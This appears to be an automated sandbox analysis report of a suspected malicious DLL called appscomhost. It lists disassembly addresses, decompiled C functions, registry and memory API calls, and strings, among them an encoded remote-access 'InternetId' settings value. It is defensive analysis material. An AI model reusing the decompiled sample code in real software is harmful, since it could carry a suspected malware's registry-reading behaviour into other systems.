0x10002109
0x10002112
0x10002112
0x10002115
0x10002118
0x1000211a
0x1000211c
0x1000211f
0x10002121
0x10002121
0x1000211f
0x10002124
0x10002126
0x1000212a
0x1000212d
0x1000212f
0x10002135
0x10002135
0x10002131
0x10002131
0x10002131
0x10002137
0x10002137
0x00000000
0x100020fe
0x100020fe
0x10002100
0x1000213a
0x1000213a
0x1000213e
0x00000000
0x00000000
0x10002147
0x1000214b
0x1000217a
0x1000217d
0x1000217f
0x10002184
0x10002184
0x10002181
0x10002181
0x10002181
0x1000218a
0x1000218f
0x00000000
0x1000218f
0x10002159
0x1000215f
0x10002161
0x10002164
0x1000216a
0x10002170
0x10002170
0x00000000
0x10002164
0x00000000
0x10002100
0x100020fc
0x100020c2
0x100020c6
0x00000000
0x00000000
0x00000000
0x100020c6
0x10002056
0x1000205f
0x10002063
0x10002066
0x1000206c
0x1000206f
0x10002075
0x10002079
0x1000207c
0x10002080
0x10002083
0x10002085
0x1000208b
0x1000208b
0x10002087
0x10002087
0x10002087
0x1000208d
0x1000208d
0x10002090
0x10002090
0x10002094
0x00000000
0x00000000
0x1000209c
0x100020a1
0x00000000
0x100020a2
0x10002068
0x1000206a
0x00000000
0x00000000
0x00000000
0x1000206a
0x10001fe9
0x10001ff2
0x10001ff6
0x10001ff9
0x10001fff
0x10002002
0x10002008
0x1000200c
0x1000200f
0x10002013
0x10002016
0x10002018
0x1000201e
0x1000201e
0x1000201a
0x1000201a
0x1000201a
0x10002020
0x10002022
0x10002025
0x10002027
0x10002029
0x1000202b
0x1000202f
0x10002034
0x10002034
0x10002039
0x10002039
0x10002039
0x10002039
0x10002029
0x10002025
0x1000203d
0x1000203d
0x10002041
0x00000000
0x00000000
0x10002049
0x00000000
0x10002049
0x10001ffb
0x10001ffd
0x00000000
0x00000000
0x00000000
0x10001ffd
0x10001fba
0x10001fbe
0x10001fc3
0x10001fc6
0x10001fc8
0x10001fc8
0x10001fcb
0x10001fcd
0x10001fd3
0x10001fd3
0x10001fcf
0x10001fcf
0x10001fcf
0x10001fd5
0x10001fd5
0x10001fd8
0x10001fdc
0x10001fde
0x10001fde
0x00000000
0x10001fa4
0x10001fa8
0x10001faa
0x10001faa
0x10001fad
0x10001fae
0x10002203
0x10002205
0x1000221f
0x00000000
0x00000000
0x10002228
0x10002228
0x1000222a
0x1000222c
0x1000222c
0x1000222c
0x1000222e
0x10002232
0x10002255
0x10002234
0x10002234
0x10002235
0x10002237
0x00000000
0x00000000
0x10002239
0x10002239
0x1000223c
0x1000223d
0x1000223f
0x10002242
0x00000000
0x00000000
0x10002247
0x10002247
0x10002249
0x1000224a
0x1000224b
0x1000224b
0x1000224c
0x1000224c
0x10002251
0x00000000
0x10002232
0x1000220b
0x00000000
0x00000000
0x1000221a
0x1000221a
0x1000221b
0x00000000
0x00000000
0x10002212
0x10002216
0x10002216
0x00000000
0x1000221d
0x10001fa2
0x10001f47
0x10001f4c
0x10001f4f
0x10001f73
0x10001f78
0x10001f7f
0x10001f82
0x10001f84
0x10001f87
0x10001f89
0x10001f89
0x00000000
0x10001f87
0x10001f51
0x10001f59
0x10001f61
0x10001f68
0x10001f6b
0x10001f6e
0x00000000
0x00000000
0x00000000
0x00000000
0x10001f59
0x10002265
0x10002265
0x1000226c
0x00000000
0x10002277

APIs

lstrlenA.KERNEL32(?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY), ref: 100020EF
lstrlenW.KERNEL32(?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY), ref: 1000210C
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY), ref: 10002159

Strings

18, xrefs: 10002212
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10001ED4
REG_BINARY, xrefs: 10001EC3

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: lstrlen$ByteCharMultiWide
String ID: 18$3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$REG_BINARY
API String ID: 477651035-788393628
Opcode ID: 17f6ef7d6138657bc3f902127868d8f5d0d2539f44d561941c64a2d373e9bc50
Instruction ID: 10bfe06c9ceeecc4f15360566cd13ea8488ae7e97c63037eb01ad52bf46f24d1
Opcode Fuzzy Hash: 17f6ef7d6138657bc3f902127868d8f5d0d2539f44d561941c64a2d373e9bc50
Instruction Fuzzy Hash: 7FD19F75D0424AABFB10CF64C8847EE77F5EF403D4F618169E8159B298EB70AE82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 10003C26, Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 438
registryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E10003C26(void* __ecx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v8;
				char _v12;
				unsigned int _v16;
				char _v20;
				char _v24;
				char _v28;
				void* __edi;
				void* _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t112;
				void* _t114;
				unsigned int _t115;
				intOrPtr _t116;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				void* _t129;
				void* _t131;
				void* _t135;
				intOrPtr _t136;
				void* _t138;
				void* _t140;
				void* _t144;
				intOrPtr _t147;
				intOrPtr _t148;
				void* _t150;
				intOrPtr* _t152;
				intOrPtr _t153;
				intOrPtr _t156;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t165;
				void* _t168;
				intOrPtr _t169;
				intOrPtr _t172;
				intOrPtr _t174;
				intOrPtr _t179;
				intOrPtr _t182;
				intOrPtr _t185;
				intOrPtr _t188;
				void* _t190;
				void* _t192;
				void* _t196;
				intOrPtr _t200;
				intOrPtr* _t214;
				char* _t224;
				intOrPtr _t226;
				intOrPtr _t227;
				intOrPtr _t228;
				void* _t229;
				intOrPtr _t238;
				void* _t243;
				char** _t244;
				char** _t247;

				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_t244 = _t243 + 0x10;
				_t228 = E100030BA();
				 *0x1000702c = _t228;
				if(_t228 != 0) {
					_t110 =  *((intOrPtr*)(_t228 + 0x10948));
					if(_t110 == 4) {
						goto L51;
					} else {
						if(_t110 == 3) {
							goto L67;
						} else {
							if(_t110 == 2) {
								L12:
								_t14 = _t228 + 0x10934; // 0x10934
								_t15 = _t228 + 8; // 0x8
								_t168 = E100038AD( *((intOrPtr*)(_t228 + 0x10930)), _t15, 0, 0x20019, _t14);
								_t244 =  &(_t244[5]);
								if(_t168 != 0) {
									goto L7;
								} else {
									_t169 =  *0x1000702c; // 0x0
									 *(_t169 + 0x10938) =  *(_t169 + 0x10938) | 0xffffffff;
									_t228 =  *0x1000702c; // 0x0
									if( *((intOrPtr*)(_t228 + 0x10954)) != 0) {
										goto L51;
									} else {
										if( *((intOrPtr*)(_t228 + 0x10958)) != 0) {
											while(1) {
												L51:
												 *((intOrPtr*)(_t228 + 0x10938)) =  *((intOrPtr*)(_t228 + 0x10938)) + 1;
												_t111 =  *0x1000702c; // 0x0
												 *((char*)(_t111 + 0x930)) = 0;
												_t112 =  *0x1000702c; // 0x0
												_t64 = _t112 + 0x930; // 0x930
												_t225 =  &_v16;
												_t210 =  &_v8;
												_t68 = _t112 + 0x6e8; // 0x6e8
												_v16 = 0x10000;
												_v8 = 0x124;
												_t114 = E10002E37( *((intOrPtr*)(_t112 + 0x10934)),  *((intOrPtr*)(_t112 + 0x10938)), _t68,  &_v8, 0,  &_v12, _t64,  &_v16);
												_t244 =  &(_t244[8]);
												if(_t114 != 0) {
													break;
												}
												_t115 = _v16;
												if(_t115 == 0) {
													_v20 = 0;
												} else {
													_v20 = (_t115 >> 1) - 1;
												}
												_t228 =  *0x1000702c; // 0x0
												if( *((intOrPtr*)(_t228 + 0x10954)) != 0) {
													_t227 =  *((intOrPtr*)(_t228 + 0x1094c));
													if(_t227 == 0) {
														L30:
														_t136 =  *((intOrPtr*)(_t228 + 0x10940));
														if(_t136 == 0xffffffff || _t136 == _v12) {
															L32:
															E100027C0(0x10027780, 0x10000,  &_v24, _v12, _t228 + 0x930, _v16);
															E10002C7B(_v24);
															E10002C7B(0x10027780);
															_t121 =  *0x1000702c; // 0x0
															E10002C7B(_t121 + 0x6e8);
															_t124 =  *0x1000702c; // 0x0
															E10002C7B(_t124 + 8);
															_t127 =  *0x1000702c; // 0x0
															 *((intOrPtr*)(_t127 + 0x10948)) = 4;
															return _t127;
														}
													} else {
														if(_t227 != 1 || _v8 !=  *((intOrPtr*)(_t228 + 0x49c))) {
															L24:
															if(_t227 != 2) {
																L27:
																if( *((intOrPtr*)(_t228 + 0x1094c)) == 3) {
																	_t35 = _t228 + 0x254; // 0x254
																	_t138 = E100019CE(_t210, _t228 + 0x6e8, _v8, _t35,  *((intOrPtr*)(_t228 + 0x49c)), 0, 0, 0);
																	_t244 =  &(_t244[7]);
																	if(_t138 == 0) {
																		_t228 =  *0x1000702c; // 0x0
																	} else {
																		goto L29;
																	}
																}
															} else {
																_t31 = _t228 + 0x254; // 0x254
																_t140 = E100019CE(_t210, _t228 + 0x6e8, _v8, _t31,  *((intOrPtr*)(_t228 + 0x49c)), 1, 0, 0);
																_t244 =  &(_t244[7]);
																if(_t140 != 0) {
																	L29:
																	_t228 =  *0x1000702c; // 0x0
																	goto L30;
																} else {
																	_t228 =  *0x1000702c; // 0x0
																	goto L27;
																}
															}
														} else {
															_t28 = _t228 + 0x254; // 0x254
															_t29 = _t228 + 0x6e8; // 0x6e8
															_t144 = E100018AC(_t29, _t28);
															_pop(_t210);
															if(_t144 == 0) {
																goto L30;
															} else {
																goto L24;
															}
														}
													}
												}
												if( *((intOrPtr*)(_t228 + 0x10958)) != 0) {
													_t226 =  *((intOrPtr*)(_t228 + 0x1094c));
													if(_t226 == 0) {
														L47:
														_t116 =  *((intOrPtr*)(_t228 + 0x10940));
														if(_t116 == 0xffffffff || _t116 == _v12) {
															goto L32;
														}
													} else {
														if(_v12 == 1 || _v12 == 2) {
															if(_t226 != 1 || _v20 !=  *((intOrPtr*)(_t228 + 0x49c))) {
																L41:
																if(_t226 != 2) {
																	L44:
																	if( *((intOrPtr*)(_t228 + 0x1094c)) == 3) {
																		_t57 = _t228 + 0x254; // 0x254
																		_t129 = E100019CE(_t210, _t228 + 0x930, _v20, _t57,  *((intOrPtr*)(_t228 + 0x49c)), 0, 0, 0);
																		_t244 =  &(_t244[7]);
																		if(_t129 == 0) {
																			_t228 =  *0x1000702c; // 0x0
																		} else {
																			goto L46;
																		}
																	}
																} else {
																	_t53 = _t228 + 0x254; // 0x254
																	_t131 = E100019CE(_t210, _t228 + 0x930, _v20, _t53,  *((intOrPtr*)(_t228 + 0x49c)), 1, 0, 0);
																	_t244 =  &(_t244[7]);
																	if(_t131 != 0) {
																		L46:
																		_t228 =  *0x1000702c; // 0x0
																		goto L47;
																	} else {
																		_t228 =  *0x1000702c; // 0x0
																		goto L44;
																	}
																}
															} else {
																_t50 = _t228 + 0x254; // 0x254
																_t51 = _t228 + 0x930; // 0x930
																_t135 = E100018AC(_t51, _t50);
																_pop(_t210);
																if(_t135 == 0) {
																	goto L47;
																} else {
																	goto L41;
																}
															}
														}
													}
												}
											}
											_t147 =  *0x1000702c; // 0x0
											 *(_t147 + 0x10938) =  *(_t147 + 0x10938) | 0xffffffff;
											L66:
											_t228 =  *0x1000702c; // 0x0
											L67:
											while( *((intOrPtr*)(_t228 + 0x1095c)) != 0) {
												 *((intOrPtr*)(_t228 + 0x10938)) =  *((intOrPtr*)(_t228 + 0x10938)) + 1;
												_t148 =  *0x1000702c; // 0x0
												_t77 = _t148 + 0x4a0; // 0x4a0
												_v28 = 0x124;
												_t150 = E10002D5D( *((intOrPtr*)(_t148 + 0x10934)),  *((intOrPtr*)(_t148 + 0x10938)), _t77,  &_v28, 0, 0, 0, 0);
												_t244 =  &(_t244[8]);
												if(_t150 != 0) {
													_t228 =  *0x1000702c; // 0x0
												} else {
													_t172 =  *0x1000702c; // 0x0
													_t83 = _t172 + 4; // 0x4
													E1000114A(_t172, _t83,  &_v24, 0xffffffff, 0x250);
													_t174 =  *0x1000702c; // 0x0
													_t84 = _t174 + 8; // 0x8
													_t220 = _t84;
													_t247 =  &(_t244[5]);
													_t224 = "\\";
													if( *_t84 == 0) {
														_t224 = 0x100063e8;
													}
													_push(_t174 + 0x4a0);
													_push(_t224);
													E10001EAF(_v24 + 8, L"%s%s%s", _t220);
													_t179 =  *0x1000702c; // 0x0
													_t244 =  &(_t247[5]);
													 *((intOrPtr*)(_t179 + 0x1093c)) =  *((intOrPtr*)(_t179 + 0x1093c)) + 1;
													_t228 =  *0x1000702c; // 0x0
													if( *((intOrPtr*)(_t228 + 0x10950)) != 0) {
														_t225 =  *((intOrPtr*)(_t228 + 0x1094c));
														if(_t225 == 0) {
															L72:
															E10002C7B(L"REG_KEY");
															 *_t244 = 0x100063e8;
															E10002C7B();
															_t182 =  *0x1000702c; // 0x0
															E10002C7B(_t182 + 0x4a0);
															_t185 =  *0x1000702c; // 0x0
															E10002C7B(_t185 + 8);
															_t188 =  *0x1000702c; // 0x0
															 *((intOrPtr*)(_t188 + 0x10948)) = 3;
															return _t188;
														}
														if(_t225 == 1 && _v28 ==  *((intOrPtr*)(_t228 + 0x49c))) {
															_t92 = _t228 + 0x254; // 0x254
															_t93 = _t228 + 0x4a0; // 0x4a0
															_t196 = E100018AC(_t93, _t92);
															_pop(_t220);
															if(_t196 == 0) {
																goto L72;
															}
														}
														if(_t225 == 2) {
															_t95 = _t228 + 0x254; // 0x254
															_t192 = E100019CE(_t220, _t228 + 0x4a0, _v28, _t95,  *((intOrPtr*)(_t228 + 0x49c)), 1, 0, 0);
															_t244 =  &(_t244[7]);
															if(_t192 != 0) {
																goto L72;
															}
															_t228 =  *0x1000702c; // 0x0
														}
														if( *((intOrPtr*)(_t228 + 0x1094c)) == 3) {
															_t99 = _t228 + 0x254; // 0x254
															_t190 = E100019CE(_t220, _t228 + 0x4a0, _v28, _t99,  *((intOrPtr*)(_t228 + 0x49c)), 0, 0, 0);
															_t244 =  &(_t244[7]);
															if(_t190 != 0) {
																goto L72;
															}
															goto L66;
														}
													}
													continue;
												}
												L70:
												RegCloseKey( *(_t228 + 0x10934));
												goto L7;
											}
											goto L70;
										}
									}
									goto L67;
								}
							} else {
								if(_t110 == 1 || _t110 != 0) {
									_t7 = _t228 + 4; // 0x4
									E1000114A(_t228, _t7,  &_v24, 0xffffffff, 0x250);
									_t200 =  *0x1000702c; // 0x0
									E10001982(_t225, _v24 + 8, _t200 + 8, 0x124);
									_t244 =  &(_t244[8]);
									L7:
									_t152 =  *0x1000702c; // 0x0
									_t9 = _t152 + 0x1093c; // 0x1093c
									_t214 = _t9;
									if( *_t214 != 0) {
										 *_t214 =  *_t214 - 1;
										_t152 =  *0x1000702c; // 0x0
										_t238 =  *_t152;
										_v24 = _t238;
										if(_t238 != 0) {
											_t11 = _t238 + 8; // 0x8
											E10001982(_t225, _t152 + 8, _t11, 0x124);
											_t156 =  *0x1000702c; // 0x0
											_t12 = _t156 + 4; // 0x4
											E100010C8(_t156, _t12, _t238);
											_t228 =  *0x1000702c; // 0x0
											_t158 =  *((intOrPtr*)(_t228 + 0x10944));
											_t244 =  &(_t244[6]);
											if(_t158 != 1) {
												_t225 = 2;
												if(_t158 == _t225) {
													E10002C7B(L"BANNER");
													E10002C7B(0x100063e8);
													E10002C7B(0x100063e8);
													_t162 =  *0x1000702c; // 0x0
													E10002C7B(_t162 + 8);
													_t165 =  *0x1000702c; // 0x0
													 *((intOrPtr*)(_t165 + 0x10948)) = _t225;
													return _t165;
												}
											} else {
												E100036F0( *0x10007028, _t228 + 8);
												_t228 =  *0x1000702c; // 0x0
											}
											goto L12;
										}
									}
									 *((intOrPtr*)(_t152 + 0x10934)) = 0;
									_t153 =  *0x1000702c; // 0x0
									 *((intOrPtr*)(_t153 + 0x10948)) = 0;
								}
							}
						}
					}
				}
				_t229 = 4;
				do {
					_t109 = E10002C7B(0x100063e8);
					_t229 = _t229 - 1;
				} while (_t229 != 0);
				return _t109;
			}

0x10003c3b
0x10003c40
0x10003c48
0x10003c4e
0x10003c54
0x10003c5a
0x10003c63
0x00000000
0x10003c69
0x10003c6c
0x00000000
0x10003c72
0x10003c75
0x10003d3b
0x10003d3b
0x10003d48
0x10003d52
0x10003d57
0x10003d5c
0x00000000
0x10003d62
0x10003d62
0x10003d67
0x10003d6e
0x10003d7a
0x00000000
0x10003d80
0x10003d86
0x10003fab
0x10003fab
0x10003fab
0x10003fb1
0x10003fb6
0x10003fbc
0x10003fc1
0x10003fc7
0x10003fd1
0x10003fd5
0x10003fdb
0x10003fe2
0x10003ff8
0x10003ffd
0x10004002
0x00000000
0x00000000
0x10003d91
0x10003d96
0x10003da0
0x10003d98
0x10003d9b
0x10003d9b
0x10003da3
0x10003daf
0x10003db5
0x10003dbd
0x10003e57
0x10003e57
0x10003e60
0x10003e67
0x10003e83
0x10003e8b
0x10003e91
0x10003e96
0x10003ea1
0x10003ea6
0x10003eaf
0x10003eb4
0x10003ebc
0x00000000
0x10003ebc
0x10003dc3
0x10003dc6
0x10003dec
0x10003def
0x10003e1e
0x10003e25
0x10003e34
0x10003e45
0x10003e4a
0x10003e4f
0x10003ecb
0x00000000
0x00000000
0x00000000
0x10003e4f
0x10003df1
0x10003dfb
0x10003e0c
0x10003e11
0x10003e16
0x10003e51
0x10003e51
0x00000000
0x10003e18
0x10003e18
0x00000000
0x10003e18
0x10003e16
0x10003dd3
0x10003dd3
0x10003dda
0x10003de1
0x10003de9
0x10003dea
0x00000000
0x00000000
0x00000000
0x00000000
0x10003dea
0x10003dc6
0x10003dbd
0x10003ed7
0x10003edd
0x10003ee5
0x10003f8b
0x10003f8b
0x10003f94
0x00000000
0x00000000
0x10003eeb
0x10003eef
0x10003efe
0x10003f24
0x10003f27
0x10003f56
0x10003f5d
0x10003f68
0x10003f79
0x10003f7e
0x10003f83
0x10003fa5
0x00000000
0x00000000
0x00000000
0x10003f83
0x10003f29
0x10003f33
0x10003f44
0x10003f49
0x10003f4e
0x10003f85
0x10003f85
0x00000000
0x10003f50
0x10003f50
0x00000000
0x10003f50
0x10003f4e
0x10003f0b
0x10003f0b
0x10003f12
0x10003f19
0x10003f21
0x10003f22
0x00000000
0x00000000
0x00000000
0x00000000
0x10003f22
0x10003efe
0x10003eef
0x10003ee5
0x10003ed7
0x10004008
0x1000400d
0x10004165
0x10004165
0x00000000
0x1000416b
0x10004019
0x1000401f
0x10004028
0x10004032
0x10004048
0x1000404d
0x10004052
0x10004179
0x10004058
0x10004063
0x10004068
0x1000406d
0x10004072
0x10004077
0x10004077
0x1000407a
0x10004080
0x10004085
0x10004087
0x10004087
0x10004091
0x10004095
0x100040a0
0x100040a5
0x100040aa
0x100040ad
0x100040b3
0x100040bf
0x100040c5
0x100040cd
0x100041c9
0x100041ce
0x100041d3
0x100041da
0x100041df
0x100041ea
0x100041ef
0x100041f8
0x100041fd
0x10004205
0x00000000
0x10004205
0x100040d6
0x100040e3
0x100040ea
0x100040f1
0x100040f9
0x100040fa
0x00000000
0x00000000
0x100040fa
0x10004103
0x1000410f
0x10004120
0x10004125
0x1000412a
0x00000000
0x00000000
0x10004130
0x10004130
0x1000413d
0x10004148
0x10004159
0x1000415e
0x10004163
0x00000000
0x00000000
0x00000000
0x10004163
0x1000413d
0x00000000
0x100040bf
0x1000417f
0x10004185
0x00000000
0x10004185
0x00000000
0x10004177
0x10003d86
0x00000000
0x10003d7a
0x10003c7b
0x10003c7e
0x10003c93
0x10003c98
0x10003c9d
0x10003cb2
0x10003cb7
0x10003cba
0x10003cba
0x10003cbf
0x10003cbf
0x10003cc7
0x10003ccd
0x10003ccf
0x10003cd4
0x10003cd8
0x10003cdb
0x10003ce6
0x10003cee
0x10003cf3
0x10003cf9
0x10003cfe
0x10003d03
0x10003d09
0x10003d0f
0x10003d15
0x10003d32
0x10003d35
0x10004195
0x100041a0
0x100041a6
0x100041ab
0x100041b4
0x100041b9
0x100041c1
0x00000000
0x100041c1
0x10003d17
0x10003d21
0x10003d26
0x10003d2d
0x00000000
0x10003d15
0x10003cdb
0x10004211
0x10004217
0x1000421c
0x1000421c
0x10003c7e
0x10003c75
0x10003c6c
0x10003c63
0x10004224
0x10004225
0x1000422a
0x1000422f
0x10004230
0x10004237

APIs

RegCloseKey.ADVAPI32(?), ref: 10004185

Strings

%s%s%s, xrefs: 1000409A
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10003E7D, 10003E82, 10003E90
REG_KEY, xrefs: 100041C9
BANNER, xrefs: 10004190

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Close
String ID: %s%s%s$3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$BANNER$REG_KEY
API String ID: 3535843008-2822372397
Opcode ID: 9e4b2b8eb68f8e5c562110495f03a8706156a457e942de505afb763ae2a7fc7c
Instruction ID: 24f839f01534b3f9f3d948b0dba4e4d48467bf0e0abb3077ec95ed3de4646347
Opcode Fuzzy Hash: 9e4b2b8eb68f8e5c562110495f03a8706156a457e942de505afb763ae2a7fc7c
Instruction Fuzzy Hash: 37F1CAB2D00616EFFB11CB64CCC5AEF73E8EB043D4B128529F949A715AC734AD858B64

Uniqueness

Uniqueness Score: -1.00%

Function 10002E37, Relevance: 9.1, APIs: 6, Instructions: 130
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002E37(void* _a4, int _a8, short* _a12, int* _a16, int* _a20, int* _a24, char* _a28, int* _a32) {
				int _v8;
				int _v12;
				int _v16;
				long _v20;
				char _v280;
				intOrPtr _t53;
				long _t62;
				intOrPtr* _t68;
				unsigned int* _t87;
				void* _t92;

				_t53 =  *0x10007000; // 0x0
				if(_t53 != 1) {
					if(_t53 != 0) {
						E100022B7();
						return 1;
					} else {
						return RegEnumValueW(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32);
					}
				} else {
					_v8 = 0x104;
					_t62 = RegEnumValueA(_a4, _a8,  &_v280,  &_v8, _a20,  &_v16, 0,  &_v12);
					_v20 = _t62;
					if(_t62 == 0) {
						_v8 = 0x104;
						if(_v16 == 1 || _v16 == 2 || _v16 == 7) {
							_t87 = _a32;
							if(_a28 != 0) {
								_t92 = GlobalAlloc(0x40, _v12);
								if(_t92 != 0) {
									_v20 = RegEnumValueA(_a4, _a8,  &_v280,  &_v8, _a20, _a24, _t92,  &_v12);
									_v12 = E1000237C(_t92, _v12, _a28,  *_t87 >> 1);
									GlobalFree(_t92);
								}
							}
							_t68 = _a24;
							if(_t68 != 0) {
								 *_t68 = _v16;
							}
							if(_t87 != 0) {
								 *_t87 = _v12 + _v12;
							}
						} else {
							_v20 = RegEnumValueA(_a4, _a8,  &_v280,  &_v8, _a20, _a24, _a28, _a32);
						}
					}
					return _v20;
				}
			}

0x10002e40
0x10002e48
0x10002f62
0x10002f84
0x10002f8d
0x10002f64
0x10002f83
0x10002f83
0x10002e4e
0x10002e79
0x10002e7c
0x10002e80
0x10002e83
0x10002eb3
0x10002eb6
0x10002eec
0x10002eef
0x10002efc
0x10002f00
0x10002f20
0x10002f38
0x10002f3b
0x10002f3b
0x10002f00
0x10002f41
0x10002f46
0x10002f4b
0x10002f4b
0x10002f4f
0x10002f56
0x10002f56
0x10002ec4
0x10002ee3
0x10002ee3
0x10002f58
0x10002f5f
0x10002f5f

APIs

RegEnumValueA.ADVAPI32(00000930,?,?,?,000006E8,?,00000000,00000930,?,00000000), ref: 10002E7C

Part of subcall function 1000237C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,000000FF,?,00000000,?,10003224,?,000000FF,00000000,?,InternetId,?,00000000), ref: 10002396

RegEnumValueA.ADVAPI32(00000930,00000007,?,?,000006E8,?,?,10003FFD,?,?,?,?), ref: 10002EE1
GlobalAlloc.KERNEL32(00000040,00000930,?,?,?,?), ref: 10002EF6
RegEnumValueA.ADVAPI32(00000930,00000001,?,?,000006E8,?,00000000,00000930,?,?,?,?), ref: 10002F1E
GlobalFree.KERNEL32 ref: 10002F3B
RegEnumValueW.ADVAPI32(00000930,?,00000000,?,000006E8,?,?,10003FFD), ref: 10002F7C

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: EnumValue$Global$AllocByteCharFreeMultiWide
String ID:
API String ID: 309017271-0
Opcode ID: 1281734b4e71dc18fb74d1713490baceaa6a5fa52b8b3d6daad624339a5c763a
Instruction ID: 1ed38f9154c17c2ae81838c918547a17f7f6db82f16b67f373f0d76d74db7595
Opcode Fuzzy Hash: 1281734b4e71dc18fb74d1713490baceaa6a5fa52b8b3d6daad624339a5c763a
Instruction Fuzzy Hash: 7641B37690015EEFEF02CF94CC41AEEBBB9FB08384F014166FA15A2124E735DA659B50

Uniqueness

Uniqueness Score: -1.00%

Function 00402947, Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402947(int __ebx, void* __eflags) {
				void* _t26;
				long _t31;
				int _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0x38)) = 0xfffffd66;
				_t50 = E00402D3E(0xfffffff0);
				 *(_t56 - 0x40) = _t23;
				if(E00405D5D(_t50) == 0) {
					E00402D3E(0xffffffed);
				}
				E00405EE2(_t50);
				_t26 = E00405F07(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x47af18;
					 *(_t56 - 0x44) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E0040347D(_t45);
						E00403467(_t49,  *(_t56 - 0x44));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x28));
						 *(_t56 - 0x10) = _t54;
						if(_t54 != _t45) {
							E0040324C( *((intOrPtr*)(_t56 - 0x2c)), _t45, _t54,  *(_t56 - 0x28));
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x3c) =  *_t54;
								E00405EC2( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x3c);
							}
							GlobalFree( *(_t56 - 0x10));
						}
						E00405FB9( *(_t56 + 8), _t49,  *(_t56 - 0x44));
						GlobalFree(_t49);
						 *((intOrPtr*)(_t56 - 0x38)) = E0040324C(0xffffffff,  *(_t56 + 8), _t45, _t45);
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0x38)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileW( *(_t56 - 0x40));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x00402947
0x00402949
0x00402955
0x00402958
0x00402962
0x00402966
0x00402966
0x0040296c
0x00402979
0x00402981
0x00402984
0x0040298a
0x00402998
0x0040299d
0x004029a1
0x004029a4
0x004029ad
0x004029b9
0x004029bd
